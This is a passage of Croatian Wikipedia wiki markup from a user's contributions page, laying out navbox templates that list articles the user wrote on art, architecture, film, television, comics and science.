= text-align:center; color:#702963; background: #DF73FF; border:1px solid #702963; |name = Korisnik:Edgar Allan Poe/Doprinosi |title= Doprinosi vezani uz umjetnost |groupstyle = text-align:center; color:red; border:1px solid silver; |abovestyle=text-align:center; color:#702963;background:#DF73FF; border:1px solid #702963; |belowstyle= text-align:center; color:#702963; background:#DF73FF; border:1px solid #702963; |groupstyle = text-align:center; color:#702963; background:#DF73FF; border:1px solid #702963; |above= |group1 = Slikarstvo |group1style = text-align:center; color:#882D17; background:#CC7722; border:1px solid #882D17; |list1= ''[[Krik]] • [[Nedjeljno poslijepodne na otoku La Grande Jatte]] • [[Kupači kod Asnièresa]] • [[Izbij Bijele Crvenim klinom]] • [[Bijelo na bijelom]] • [[Gospode! Pomozi mi preživjeti ovu smrtonosnu ljubav]] • [[Veliki val kod Kanagawe]] • [[Posvećenje Napoleona I (David)|Posvećenje Napoleona I]] • [[Napoleon I na carskom tronu]] • [[Napoleon u svojoj studiji]] • [[Nedovršeni portret generala Bonapartea]]'' |group2 = Kiparstvo<br>Dizajn |group2style = text-align:center; color:#C04000; background:#FF7E00; border:1px solid #C04000; |list2= ''[[Telefon sa slušalicom od jastoga]] • [[Sofa u obliku usta Mae West]]'' • [[Koh-i-Noor]] • ''[[Senbazuru]]'' • ''[[Gandhijeva tri majmuna]]'' • [[Toranj Juche|Toranj ''Juche'']] • [[Veliki spomenik na brdu Mansu]] |group3 = Arhitektura |group3style = text-align:center; color:#555555; background:#E5E4E2; border:1px solid #555555; |list3= [[Guggenheimov muzej u Bilbau]] • [[Opatija Westminster]] • [[Dvorac Osu]] • [[Dvorac Cape Coast]] • [[Dvorac Elmina]] • [[Elizejska palača]] • ''[[Palais Bourbon]]'' • ''[[Palais Luxembourg]]'' • ''[[Les Invalides]]'' • [[Palača Tuileries]] • [[Rowan Oak]] • [[Trg Kim Il-sunga]] • [[Kongresna dvorana Mansudae]] • [[Međunarodni aerodrom José Martí]] • [[Presidio Modelo]] • [[Aerodrom Quatro de Fevereiro]] • [[Međunarodni aerodrom Simón Bolívar (Venezuela)]] • [[Univerzitetski grad u Caracasu]] • [[Museo de Bellas Artes (Caracas)]] • [[Muzej moderne umjetnosti Jesús Soto]] • [[Kizuna (most)]] • [[Međunarodni aerodrom u Phnom Penhu]] • [[Muzej genocida Tuol Sleng]] • [[El Cajón (brana)]] • [[Vrata bez povratka (Ouidah)]] • [[Musée Honmè]] • [[Međunarodni aerodrom u Nadiju]] • [[Međunarodni aerodrom u Nausoriju]] • [[Fort Zeelandia (Paramaribo)]] • [[Fort Nieuw-Amsterdam]] • [[Zatvor Outram]] • [[Stara Gradska vijećnica (Singapur)]] |group4 = Općenito |group4style = text-align:center; color:black; background:white; border:1px solid black; |list4= [[De Stijl]] • [[Camp (stil)|Camp]] • [[Salon (Pariz)|Salon]] |below= }} ==Filmska umjetnost== ===Opći pojmovi=== {{Navbox | name = Korisnik:Edgar Allan Poe/Doprinosi | title = Doprinosi s područja filmografije | titlestyle = background-color:#AAD0FF; color:black; text-align:center; border:1px solid silver; | image = | imageleft = | bodyclass = hlist | list1 = [[Ekranizacija]] • [[Production I.G]] • [[noitaminA]] |list2= }} ===Biografije=== {{Navbox generic |titlestyle = color:black; background:white; border:1px solid black; |name = Korisnik:Edgar Allan Poe/Doprinosi |title= Doprinosi o filmašima |groupstyle = text-align:center; color:red; border:1px solid silver; |abovestyle=text-align:center; color:black; background:white; border:1px solid black; |belowstyle= text-align:center; color:black; background:white; border:1px solid black; |groupstyle = text-align:center; color:black; background:white; border:1px solid black; |above= |group1 = Glumci |list1= {{Navbox subgroup | groupstyle = text-align:center; color:red; background:white; border:1px solid #EF4135; |group1 = {{flagicon|SAD}} Sjedinjene Države |group1style = text-align:center; color:#FFFFFF; background:#B22234; border:1px solid #3C3B6E; |list1= [[Dean Winters]] • [[Tobin Bell]] • [[Ed O'Neill]] • [[Mariska Hargitay]] • [[Tamara Tunie]] • [[Sam Waterston]] • [[Diane Neal]] • [[B.D. Wong]] • [[Robert Sean Leonard]] • [[Peter Jacobson]] • [[Matt Damon]] • [[Andy García]] • [[Billy Dee Williams]] • [[Robert Forster]] |group2 = {{nowrap|{{flagicon|UK}} Ujedinjeno Kraljevstvo}} | group2style = background-color:#1C2D8C; color:white; text-align:center; border:1px solid #CC0000; |list2= [[Ian Hart]] • [[Emma Watson]] • [[Hugh Fraser]] • [[Philip Jackson]] • [[David Suchet]] • [[Pauline Moran]] • [[Alan Rickman]] • [[David Thewlis]] • [[Linus Roache]] • [[Albert Finney]] • [[Phil Davis]] • [[Rupert Penry-Jones]] • [[Steve Pemberton]] • [[Sam Stockman]] • [[George Rossi]] • [[Hannah Walters]] • [[Johnny Harris]] • [[Ben Bishop]] • [[Christopher Fulford]] • [[Claire Rushbrook]] • [[Alex Jennings]] • [[Eille Norwood]] • [[Arthur Wontner]] • [[Clive Brook]] |group3 = {{nowrap|{{flagicon|AUS}} Australija}} | group3style = background-color:#1C2D8C; color:white; text-align:center; border:1px solid silver; |list3= [[Costas Mandylor]] • [[Chris Hemsworth]] • [[Liam Hemsworth]] • [[Luke Hemsworth]] • [[Mia Wasikowska]] • [[Jesse Spencer]] |group4 = {{flagicon|HRV}} Hrvatska |group4style = text-align:center; color:white; background:red; border:1px solid blue; |list4= [[Duško Gruborović]] |group5 = {{flagicon|RUS}} Rusija |group5style = color:#FFFFFF; background:red; border:1px solid #0039A6; |list5= [[Vasilij Livanov]] • [[Igor Petrenko]] • [[Andrej Panjin]] • [[Stanislav Govoruhin]] |group6 = {{flagicon|FRA}} Francuska |group6style = color:#FFFFFF; background:#0055A4; border:1px solid #EF4135; |list6 = [[Irène Jacob]] |group7 = {{flagicon|JAP}} Japan |group7style = text-align:center; color:red;background:white; border:1px solid #EF4135; |list7= [[Kazuhiro Yamaji]] • [[Ryōhei Kimura]] |group8 = {{nowrap|{{flagicon|KAN}} Kanada}} | group8style = background-color:white; color:red; text-align:center; border-top: 1px solid #FF0000; border-bottom: 1px solid #FF0000; border-left: 1px solid white; border-right: 1px solid white; |list8= [[Matt Frewer]] |group9 = {{nowrap|{{flagicon|VEN}} Venezuela}} | group9style = background-color:#1C2D8C; color:white; text-align:center; border:1px solid #FCD116; |list9= [[Édgar Ramírez]] }} |group2 = Režiseri |list2= {{Navbox subgroup | groupstyle = text-align:center; color:red; background:white; border:1px solid #EF4135; |group1 = {{flagicon|SAD}} Sjedinjene Države |group1style = text-align:center; color:#FFFFFF; background:#B22234; border:1px solid #3C3B6E; |list1= [[Bryan Singer]] |group2 = {{nowrap|{{flagicon|UK}} Ujedinjeno Kraljevstvo}} | group2style = background-color:#1C2D8C; color:white; text-align:center; border:1px solid #CC0000; |list2= [[Alfred Hitchcock]] |group3 = {{nowrap|{{flagicon|ITA}} Italija}} | group3style = text-align:center; color:#FFFFFF;background:#009246; border:1px solid #EF4135; |list3= [[Federico Fellini]] |group4 = {{flagicon|HRV}} Hrvatska |group4style = text-align:center; color:white; background:red; border:1px solid blue; |list4= [[Branko Ivanda]] • [[Goran Kulenović]] • [[Dražen Žarković]] |group5 = {{flagicon|JAP}} Japan |group5style = text-align:center; color:red;background:white; border:1px solid #EF4135; |list5= [[Hirojuki Kakudō]] • [[Itsurō Kawasaki]] • [[Naoyoshi Shiotani]] • [[Katsuyuki Motohiro]] • [[Kiyotaka Suzuki]] |group6 = {{nowrap|{{flagicon|AUS}} Australija}} | group6style = background-color:#1C2D8C; color:white; text-align:center; border:1px solid silver; |list6= [[Peter Weir]] |group7 = {{nowrap|{{flagicon|NZL}} Novi Zeland}} | group7style = background-color:#1C2D8C; color:white; text-align:center; border:1px solid silver; |list7= [[Martin Campbell]] • [[Niki Caro]] |group8 = {{nowrap|{{flagicon|SUR}} Surinam}} | group8style = background:#C8102E; border:1px solid #007A33; color: #FFCD00; text-align:center; |list8= [[Pim de la Parra]] |group9 = {{nowrap|{{flagicon|POLJ}} Poljska}} | group9style = background:white; border:1px solid red; color: red; text-align:center; |list9= [[Agnieszka Holland]] |group10 = {{nowrap|{{flagicon|LAT}} Latvija}} | group10style = background:#77353D; border:1px solid silver; color: white; text-align:center; |list10= [[Gints Zilbalodis]] }} |group3 = Scenaristi<br>Producenti |list3= {{Navbox subgroup | groupstyle = text-align:center; color:red; background:white; border:1px solid #EF4135; |group1 = {{flagicon|SAD}} Sjedinjene Države |group1style = text-align:center; color:#FFFFFF; background:#B22234; border:1px solid #3C3B6E; |list1= [[Peter Blake]] • [[Katie Jacobs]] • [[Paul Attanasio]] • [[Lawrence Kaplow]] |group2 = {{flagicon|JAP}} Japan |group2style = text-align:center; color:red;background:white; border:1px solid #EF4135; |list2= [[Akijoshi Hongo]] • [[Reiko Joshida]] • [[Satoru Nishizono]] • [[Jōji Wada]] • [[Makoto Fukami]] • [[Kōji Yamamoto]] • [[Tō Ubukata]] • [[Jun Kumagai]] |group3 = {{flagicon|KAN}} Kanada |group3style = text-align:center; color:red;background:white; border:1px solid #EF4135; |list3= [[David Shore]] |group4 = {{flagicon|HRV}} Hrvatska |group4style = text-align:center; color:white; background:red; border:1px solid blue; |list4= [[Ivan Maloča]] • [[Zoran Lazić]] • [[Tonći Kožul]] • [[Vlado Bulić]] • [[Branko Ružić (scenarist)|Branko Ružić]] • [[Koraljka Meštrović]] • [[Antonio Gabelić]] • [[Irena Krčelić]] • [[Nikolina Čuljak]] }} |below= }} ===Filmovi i serije=== {{Navbox generic |titlestyle = color:black; background:white; border:1px solid black; |name = Korisnik:Edgar Allan Poe/Doprinosi |title= Doprinosi o filmovima |groupstyle = text-align:center; color:red; border:1px solid silver; |abovestyle=text-align:center; color:black; background:white; border:1px solid black; |belowstyle= text-align:center; color:black; background:white; border:1px solid black; |groupstyle = text-align:center; color:black; background:white; border:1px solid black; |above= |group1 = {{flagicon|SAD}} Sjedinjene Države |group1style = text-align:center; color:#FFFFFF; background:#B22234; border:1px solid #3C3B6E; |list1= ''[[Psycho]]'' • ''[[The Birds]]'' • ''[[Vertigo]]'' • ''[[Frenzy]]'' • ''[[Marnie]]'' • ''[[Rear Window]]'' • ''[[Rebecca]]'' • ''[[Mr. & Mrs. Smith (1941)|Mr. & Mrs. Smith]]'' • [[The Man Who Knew Too Much (1956)|''The Man Who Knew Too Much'' (1956)]] • ''[[Topaz (1969)|Topaz]]'' • [[Saw (2003)|''Saw'' (2003)]] • ''[[Saw (2004)|Saw]]'' • ''[[Saw II]]'' • ''[[Saw III]]'' • ''[[Saw IV]]'' • ''[[Saw V]]'' • ''[[From Hell (2001)|From Hell]]'' • [[The Count of Monte Cristo (2002)|''The Count of Monte Cristo'' (2002)]] • ''[[Notorious (1946)|Notorious]]'' • [[Sherlock Holmes (film, 1922)|''Sherlock Holmes'' (1922)]] • [[The Return of Sherlock Holmes (film, 1929)|''The Return of Sherlock Holmes'' (1929)]] • [[Sherlock Holmes (film, 1932)|''Sherlock Holmes'' (1932)]] • [[A Study in Scarlet (film, 1933)|''A Study in Scarlet'' (1933)]] • [[Datoteka:LinkFA-star.png|14px]] [[It (film, 2017)|''It'' (2017)]] |group2 = {{nowrap|{{flagicon|UK}} Ujedinjeno Kraljevstvo}} | group2style = background-color:#1C2D8C; color:white; text-align:center; border:1px solid #CC0000; |list2= ''[[Sherlock Holmes and the Case of the Silk Stocking]]'' • [[The Hound of the Baskervilles (film, 2002)|''The Hound of the Baskervilles'' (2002)]] • ''[[Harry Potter and the Philosopher's Stone (2001)|Harry Potter and the Philosopher's Stone]]'' • ''[[Harry Potter and the Chamber of Secrets (2002)|Harry Potter and the Chamber of Secrets]]'' • ''[[Harry Potter and the Prisoner of Azkaban (2004)|Harry Potter and the Prisoner of Azkaban]]'' • ''[[Harry Potter and the Goblet of Fire (2005)|Harry Potter and the Goblet of Fire]]'' • ''[[Harry Potter and the Order of the Phoenix (2007)|Harry Potter and the Order of the Phoenix]]'' • ''[[Harry Potter and the Half-Blood Prince (2009)|Harry Potter and the Half-Blood Prince]]'' • ''[[Harry Potter and the Deathly Hallows - Part 1]]'' • [[Datoteka:LinkFA-star.png|14px]] ''[[Harry Potter and the Deathly Hallows - Part 2]]'' • ''[[Agatha]]'' • ''[[The Krays]]'' • [[The Trial (1993)|''The Trial'' (1993)]] • ''[[Borat: Cultural Learnings of America for Make Benefit Glorious Nation of Kazakhstan]]'' • [[Datoteka:LinkFA-star.png|14px]] [[Murder on the Orient Express (1974)|''Murder on the Orient Express'' (1974)]] • ''[[Murder, She Said]]'' • ''[[Murder Most Foul]]'' • ''[[Murder Ahoy!]]'' • ''[[Murder at the Gallop]]'' • [[Datoteka:LinkFA-star.png|14px]] [[Sherlock Holmes (2009)|''Sherlock Holmes'' (2009)]] • [[Datoteka:LinkFA-star.png|14px]] ''[[Sherlock Holmes: A Game of Shadows]]'' • [[The Valley of Fear (film, 1916)|''The Valley of Fear'' (1916)]] • [[A Study in Scarlet (film, 1914)|''A Study in Scarlet'' (1914)]] • [[The Hound of the Baskervilles (film, 1921)|''The Hound of the Baskervilles'' (1921)]] • [[The Sign of Four (film, 1923)|''The Sign of Four'' (1923)]] • ''[[The Sleeping Cardinal]]'' • ''[[The Missing Rembrandt]]'' • ''[[The Triumph of Sherlock Holmes]]'' • [[The Sign of Four (film, 1932)|''The Sign of Four'' (1932)]] • [[Silver Blaze (film, 1937)|''Silver Blaze'' (1937)]] • [[Datoteka:LinkFA-star.png|14px]] ''[[Naked (film, 1993)|Naked]]'' • [[Datoteka:LinkFA-star.png|14px]] ''[[The Killing Fields (film)|The Killing Fields]]'' |group3 = {{flagicon|HRV}} Hrvatska |group3style = text-align:center; color:white; background:red; border:1px solid blue; |list3= ''[[Datoteka:LinkFA-star.png|14px]] [[Lea i Darija]] • [[Datoteka:LinkFA-star.png|14px]] [[Svećenikova djeca]]'' • [[Datoteka:LinkFA-star.png|14px]] ''[[Smrt Djevojčice sa žigicama (film)|Smrt Djevojčice sa žigicama]]'' • [[Datoteka:LinkFA-star.png|14px]] ''[[Mirotvorac (film)|Mirotvorac]]'' |group4 = {{flagicon|JAP}} Japan |group4style = text-align:center; color:red; background:white; border:1px solid red; |list4 = [[Datoteka:LinkFA-star.png|14px]] [[Digimon Adventure (film)|''Digimon Adventure'' (film)]] • [[Datoteka:LinkFA-star.png|14px]] ''[[Psycho-Pass: The Movie]]'' • ''[[Saraba hakobune]]'' • ''[[Issun-bōshi (film)|Issun-bōshi]]'' |group5 = {{flagicon|NJE}} Njemačka |group5style = text-align:center; color:#000000; background:#FFCC00; border:1px solid #FF0000; |list5 = [[Der Hund von Baskerville (film, 1914)|''Der Hund von Baskerville'' (1914)]] • [[Der Hund von Baskerville (film, 1929)|''Der Hund von Baskerville'' (1929)]] |group6 = {{flagicon|SSSR}} Sovjetski Savez |group6style = text-align:center; color:#FFD700; background:red; border:1px solid #FFD700; |list6 = ''[[Priključenja Šerloka Holmsa i doktora Vatsona]]'' (''[[Šerlok Holms i doktor Vatson]]'' • [[Priključenja Šerloka Holmsa i doktora Vatsona (film)|''Priključenja Šerloka Holmsa i doktora Vatsona'' (film)]] • ''[[Priključenja Šerloka Holmsa i doktora Vatsona: Sobaka Baskervilej|Sobaka Baskervilej]]'' • ''[[Priključenja Šerloka Holmsa i doktora Vatsona: Sokroviša Agri|Sokroviša Agri]]'' • ''[[Priključenja Šerloka Holmsa i doktora Vatsona: Dvadcatij vek načinajecja|Dvadcatij vek načinajecja]]'') • [[Datoteka:LinkFA-star.png|14px]] ''[[Desjat negritjat]] {{Navbox subgroup | groupstyle = text-align:center; color:black; background:white; border:1px solid black; |group1 = {{flagicon|RUS}} Rusija | group1style =text-align:center; color:#FFFFFF; background:red; border:1px solid #0039A6; |list1 =''[[Savva. Serdce voina]]'' }} |group7 = {{flagicon|FRA}} Francuska |group7style = color:#FFFFFF; background:#0055A4; border:1px solid #EF4135; |list7 = ''[[Espoir, sierra de Teruel]]'' • ''[[Un chant d'amour]]'' • [[Datoteka:LinkFA-star.png|14px]] ''[[Z (film)|Z]]'' |group8 = {{nowrap|{{flagicon|NZL}} Novi Zeland}} | group8style = background-color:#1C2D8C; color:white; text-align:center; border: 1px solid silver |list8= ''[[Whale Rider]]'' |group9 = {{nowrap|{{flagicon|KAN}} Kanada}} | group9style = background-color:white; color:red; text-align:center; border-top: 1px solid #FF0000; border-bottom: 1px solid #FF0000; border-left: 1px solid white; border-right: 1px solid white; |list9= ''[[The Hound of the Baskervilles (film, 2000)|The Hound of the Baskervilles]]'' • ''[[The Sign of Four (film, 2001)|The Sign of Four]]'' • ''[[The Royal Scandal]]'' • ''[[The Case of the Whitechapel Vampire]]'' |group10 = {{nowrap|{{flagicon|VEN}} Venezuela}} | group10style = background-color:#1C2D8C; color:white; text-align:center; border:1px solid #FCD116; |list10= ''[[Punto y raya]]'' |group11 = {{nowrap|{{flagicon|HON}} Honduras}} | group11style = background-color:#0073CF; color:white; text-align:center; border:1px solid silver; |list11= ''[[Morazán (film)|Morazán]]'' |group12 = {{nowrap|{{flagicon|FIJ}} Fidži}} | group12style = background-color:#68BFE5; color:white; text-align:center; border:1px solid silver; |list12= ''[[The Land Has Eyes]]'' |group13 = {{nowrap|{{flagicon|SUR}} Surinam}} | group13style = background:#C8102E; border:1px solid #007A33; color: #FFCD00; text-align:center; |list13= ''[[Wan Pipel]]'' |group14 = {{nowrap|{{flagicon|LAT}} Latvija}} | group14style = background:#77353D; border:1px solid silver; color: white; text-align:center; |list14= ''[[Straume]]'' |group15= Likovi |list15 = [[King Kong]] {{Navbox subgroup | groupstyle = text-align:center; color:black; background:white; border: 1px solid black; |group1 = ''Star Wars'' |list1 = [[Darth Sidious]] • [[Yoda]] • [[Darth Vader]] • [[Qui-Gon Jinn]] • [[General Grievous]] |group2 = ''Saw'' |list2 = [[Mark Hoffman]] }} }} {{Navbox generic |titlestyle = color:black; background:white; border:1px solid black; |name = Korisnik:Edgar Allan Poe/Doprinosi |title= Doprinosi o serijama |groupstyle = text-align:center; color:red; border:1px solid silver; |abovestyle=text-align:center; color:black; background:white; border:1px solid black; |belowstyle= text-align:center; color:black; background:white; border:1px solid black; |groupstyle = text-align:center; color:black; background:white; border:1px solid black; |above= |group1 = {{flagicon|SAD}} Sjedinjene Države |group1style = text-align:center; color:#FFFFFF; background:#B22234; border:1px solid #3C3B6E; |list1= ''[[Law & Order: Special Victims Unit]] ''([[:Kategorija:Zakon i red: Odjel za žrtve|kategorija]])'' • [[Law & Order: Criminal Intent]] ''([[:Kategorija:Zakon i red: Zločinačke nakane|kategorija]])'' • [[Law & Order]] ''([[:Kategorija:Zakon i red|kategorija]])'' • [[House, M.D.]] ''([[:Kategorija:Dr. House|kategorija]])'' • [[Toro i Pončo]] '' • [[Datoteka:LinkFA-star.png|14px]] [[It (miniserija)|''It'' (miniserija)]] |group2 = {{nowrap|{{flagicon|UK}} Ujedinjeno Kraljevstvo}} | group2style = background-color:#1C2D8C; color:white; text-align:center; border:1px solid #CC0000; |list2= ''[[Agatha Christie's Poirot]] • [[The Adventures of Sherlock Holmes (televizijska serija)|The Adventures of Sherlock Holmes]] • [['Allo 'Allo!]] • [[Blackadder]] • [[Whitechapel (serija)|Whitechapel]] ''([[:Kategorija:Whitechapel|kategorija]])'' '' |group3 = {{flagicon|HRV}} Hrvatska |group3style = text-align:center; color:white; background:red; border:1px solid blue; |list3= ''[[Nad lipom 35]]'' • [[Datoteka:LinkFA-star.png|14px]] ''[[Bitange i princeze]]'' ([[:Kategorija:Bitange i princeze|kategorija]] • [[Datoteka:LinkFA-star.png|14px]] "[[Epizoda 9 (Bitange i princeze, sezona 1)|Epizoda 9 (S1)]]") |group4 = {{flagicon|JAP}} Japan |group4style = text-align:center; color:red; background:white; border:1px solid red; |list4 = ''[[Digimon Adventure]] ''([[:Kategorija:Digimon Adventure|kategorija]] • [[Popis epizoda Digimon Adventurea|popis epizoda]])'' '' • [[Datoteka:LinkFA-star.png|14px]] ''[[Psycho-Pass]]'' ([[:Kategorija:Psycho-Pass|kategorija]] • [[:Kategorija:Epizode animea Psycho-Pass|Epizode - sezona 1]] [ [[Datoteka:LinkFA-star.png|14px]] "[[Perfect World]]" • [[Datoteka:LinkFA-star.png|14px]] "[[Saint's Supper]]" • [[Datoteka:LinkFA-star.png|14px]] "[[The Gates of Judgment]]" ] / [[:Kategorija:Epizode animea Psycho-Pass 2|2]] [ [[Datoteka:LinkFA-star.png|14px]] "[[The Scales of Justice 〈299/300〉]]" ]) |group5 = {{flagicon|RUS}} Rusija |group5style = text-align:center; color:#FFFFFF; background:red; border:1px solid #0039A6; |list5= [[Datoteka:LinkFA-star.png|14px]] ''[[Šerlok Holms (TV serija)|Šerlok Holms]]'' |group6= Likovi |list6 = {{Navbox subgroup | groupstyle = text-align:center; color:black; background:white; border:1px solid black; |group1 = ''SVU'' |list1 = [[Donald Cragen]] • [[Melinda Warner]] • [[Casey Novak]] • [[Dani Beck]] • [[Chester Lake]] • [[Elizabeth Donnelly]] • [[Brian Cassidy]] • [[Monique Jeffries]] • [[Kim Greylek]] • [[George Huang]] |group2 = ''L&O'' |list2 = [[Michael Cutter]] • [[Cyrus Lupo]] • [[Connie Rubirosa]] • [[Abbie Carmichael]] • [[Emil Skoda]] • [[Rey Curtis]] • [[Kevin Bernard]] • [[Jack McCoy]] |group3 = ''CI'' |list3 = [[Nola Falacci]] • [[Danny Ross]] • [[Zach Nichols]] |group4 = ''House'' |list4 = [[Gregory House]] • [[James Wilson]] • [[Robert Chase]] • [[Chris Taub]] • [[Lucas Douglas]] • [[Henry Dobson]] • [[John i Blythe House]] • [[Darryl Nolan]] |group5 = ''Whitechapel'' |list5 = [[Emerson Kent]] • [[Finlay Mansell]] • [[Megan Riley]] |group6 = ''[[Digimon]]''<br><small>([[Popis Digimona]])</small> |list6 = [[Taichi Jagami]] • [[Gospodari tame]] ([[Machinedramon]] • [[Piedmon]] • [[Puppetmon]] • [[MetalSeadramon]]) • [[Izzy Izumi]] • [[Devimon]] • [[Whamon]] • [[Phantomon]] • [[Apocalymon]] • [[Andromon]] • [[Datamon]] • [[Bakemon]] • [[Etemon]] • [[Monzaemon]] • [[Digitamamon]] • [[Meramon]] • [[MetalEtemon]] • [[Seadramon]] • [[Myotismon]] • [[VenomMyotismon]] • [[Centarumon]] • [[Piximon]] • [[Ogremon]] • [[Wizardmon]] • [[Shellmon]] • [[Elecmon]] • [[Frigimon]] • [[Datoteka:LinkFA-star.png|14px]] [[Leomon]] • [[SaberLeomon]] • [[DemiDevimon]] • [[LadyDevimon]] }} }} ==Strip i mange== {{Navbox | name = Korisnik:Edgar Allan Poe/Doprinosi | title = Doprinosi s područja stripa | titlestyle = background-color:#AAD0FF; color:black; text-align:center; border:1px solid silver; | image = | imageleft = | bodyclass = hlist | list1 = [[Stripovska smrt]] |list2= }} ===Batman=== {{Navbox generic |titlestyle = text-align:center; color:yellow; background:black; border:1px solid yellow; |name = Korisnik:Edgar Allan Poe/Doprinosi |title=Batman |groupstyle = text-align:center; color:yellow; background:black; border:1px solid yellow; |abovestyle= text-align:center; color:yellow; background:black; border:1px solid yellow; |belowstyle= text-align:center; color:yellow; background:black; border:1px solid yellow; |groupstyle = text-align:center; color:yellow; background:black; border:1px solid yellow; |above= |group1 = Likovi |group1style = text-align:center; color:yellow; background:black; border:1px solid yellow; |list1= [[Datoteka:LinkFA-star.png|14px]] [[Batman]] • [[Datoteka:LinkFA-star.png|14px]] [[Joker (strip)|Joker]] • [[Datoteka:LinkFA-star.png|14px]] [[Penguin]] • [[Datoteka:LinkFA-star.png|14px]] [[Riddler]] • [[Datoteka:LinkFA-star.png|14px]] [[Mr. Freeze]] • [[Robin]] • [[Datoteka:LinkFA-star.png|14px]] [[Catwoman]] • [[Datoteka:LinkFA-star.png|14px]] [[Two-Face]] • [[Datoteka:LinkFA-star.png|14px]] [[Mad Hatter (DC comics)|Mad Hatter]] • [[Datoteka:LinkFA-star.png|14px]] [[Calendar Man]] • [[Datoteka:LinkFA-star.png|14px]] [[Scarecrow]] • [[Datoteka:LinkFA-star.png|14px]] [[Professor Pyg]] • [[Dollotroni]] • [[Son of Pyg]] • [[Hugo Strange]] |group2 = Autori | group2style = text-align:center; color:yellow; background:black; border:1px solid yellow; |list2= [[Bob Kane]] • [[Bill Finger]] • [[Jerry Robinson]] <!-- |group3 = {{flagicon|HRV}} Hrvatska |group3style = text-align:center; color:white; background:red; border:1px solid blue; |list3= ''[[Nad lipom 35]]'' |group4 = {{flagicon|JAP}} Japan |group4style = text-align:center; color:red; background:white; border:1px solid red; |list4 = ''[[Digimon Adventure]] ''([[:Kategorija:Digimon Adventure|kategorija]] • [[Popis epizoda Digimon Adventurea|popis epizoda]])'' '' |group5= Likovi |list5 = {{Navbox subgroup | groupstyle = text-align:center; color:black; background:white; border:1px solid black; |group1 = ''SVU'' |list1 = [[Donald Cragen]] • [[Melinda Warner]] • [[Casey Novak]] • [[Dani Beck]] • [[Chester Lake]] • [[Elizabeth Donnelly]] • [[Brian Cassidy]] • [[Monique Jeffries]] • [[Kim Greylek]] • [[George Huang]] |group2 = ''L&O'' |list2 = [[Michael Cutter]] • [[Cyrus Lupo]] • [[Connie Rubirosa]] • [[Abbie Carmichael]] • [[Emil Skoda]] • [[Rey Curtis]] • [[Kevin Bernard]] • [[Jack McCoy]] |group3 = ''CI'' |list3 = [[Nola Falacci]] • [[Danny Ross]] • [[Zach Nichols]] |group4 = ''House'' |list4 = [[Gregory House]] • [[James Wilson]] • [[Robert Chase]] • [[Chris Taub]] • [[Lucas Douglas]] • [[Henry Dobson]] • [[John i Blythe House]] • [[Darryl Nolan]] |group5 = ''Whitechapel'' |list5 = [[Emerson Kent]] • [[Finlay Mansell]] • [[Megan Riley]] |group6 = ''[[Digimon]]''<br><small>([[Popis Digimona]])</small> |list6 = [[Taiči Jagami]] • [[Gospodari tame]] ([[Machinedramon]] • [[Piedmon]] • [[Puppetmon]] • [[MetalSeadramon]]) • [[Izzy Izumi]] • [[Devimon]] • [[Whamon]] • [[Phantomon]] • [[Apocalymon]] • [[Andromon]] • [[Datamon]] • [[Bakemon]] • [[Etemon]] • [[Monzaemon]] • [[Digitamamon]] • [[Meramon]] • [[MetalEtemon]] • [[Seadramon]] • [[Myotismon]] • [[VenomMyotismon]] • [[Centarumon]] • [[Piximon]] • [[Ogremon]] • [[Wizardmon]] • [[Shellmon]] • [[Elecmon]] • [[Frigimon]] • [[Datoteka:LinkFA-star.png|14px]] [[Leomon]] • [[SaberLeomon]] • [[DemiDevimon]] • [[LadyDevimon]] }}--> }} ===Bleach=== {{Navbox |titlestyle = |name = Korisnik:Edgar Allan Poe/Doprinosi |title=Bleach |groupstyle = |abovestyle= |belowstyle= |groupstyle = |above= |group1 = |group1style = |list1= [[Datoteka:LinkFA-star.png|14px]] ''[[Bleach (manga)|Bleach]]'' ([[Lista poglavlja i tankōbon izdanja mange Bleach|poglavlja]]) • [[Bleach (anime)|Anime]] • [[Tite Kubo]] <!-- |group2 = Autori | group2style = text-align:center; color:yellow; background:black; border:1px solid yellow; |list2= [[Bob Kane]] • [[Bill Finger]] • [[Jerry Robinson]] |group3 = {{flagicon|HRV}} Hrvatska |group3style = text-align:center; color:white; background:red; border:1px solid blue; |list3= ''[[Nad lipom 35]]'' |group4 = {{flagicon|JAP}} Japan |group4style = text-align:center; color:red; background:white; border:1px solid red; |list4 = ''[[Digimon Adventure]] ''([[:Kategorija:Digimon Adventure|kategorija]] • [[Popis epizoda Digimon Adventurea|popis epizoda]])'' '' |group5= Likovi |list5 = {{Navbox subgroup | groupstyle = text-align:center; color:black; background:white; border:1px solid black; |group1 = ''SVU'' |list1 = [[Donald Cragen]] • [[Melinda Warner]] • [[Casey Novak]] • [[Dani Beck]] • [[Chester Lake]] • [[Elizabeth Donnelly]] • [[Brian Cassidy]] • [[Monique Jeffries]] • [[Kim Greylek]] • [[George Huang]] |group2 = ''L&O'' |list2 = [[Michael Cutter]] • [[Cyrus Lupo]] • [[Connie Rubirosa]] • [[Abbie Carmichael]] • [[Emil Skoda]] • [[Rey Curtis]] • [[Kevin Bernard]] • [[Jack McCoy]] |group3 = ''CI'' |list3 = [[Nola Falacci]] • [[Danny Ross]] • [[Zach Nichols]] |group4 = ''House'' |list4 = [[Gregory House]] • [[James Wilson]] • [[Robert Chase]] • [[Chris Taub]] • [[Lucas Douglas]] • [[Henry Dobson]] • [[John i Blythe House]] • [[Darryl Nolan]] |group5 = ''Whitechapel'' |list5 = [[Emerson Kent]] • [[Finlay Mansell]] • [[Megan Riley]] |group6 = ''[[Digimon]]''<br><small>([[Popis Digimona]])</small> |list6 = [[Taiči Jagami]] • [[Gospodari tame]] ([[Machinedramon]] • [[Piedmon]] • [[Puppetmon]] • [[MetalSeadramon]]) • [[Izzy Izumi]] • [[Devimon]] • [[Whamon]] • [[Phantomon]] • [[Apocalymon]] • [[Andromon]] • [[Datamon]] • [[Bakemon]] • [[Etemon]] • [[Monzaemon]] • [[Digitamamon]] • [[Meramon]] • [[MetalEtemon]] • [[Seadramon]] • [[Myotismon]] • [[VenomMyotismon]] • [[Centarumon]] • [[Piximon]] • [[Ogremon]] • [[Wizardmon]] • [[Shellmon]] • [[Elecmon]] • [[Frigimon]] • [[Datoteka:LinkFA-star.png|14px]] [[Leomon]] • [[SaberLeomon]] • [[DemiDevimon]] • [[LadyDevimon]] }}--> }} ==Prirodne znanosti== ===Općenito=== {{Navbox generic |titlestyle = text-align:center; color:#808080; background: #DCDCDC; border:1px solid #808080; |name = Korisnik:Edgar Allan Poe/Doprinosi |title= Doprinosi vezani uz znanost |groupstyle = text-align:center; color:red; border:1px solid silver; |abovestyle=text-align:center; color:#702963;background:#DF73FF; border:1px solid #702963; |belowstyle= text-align:center; color:#702963; 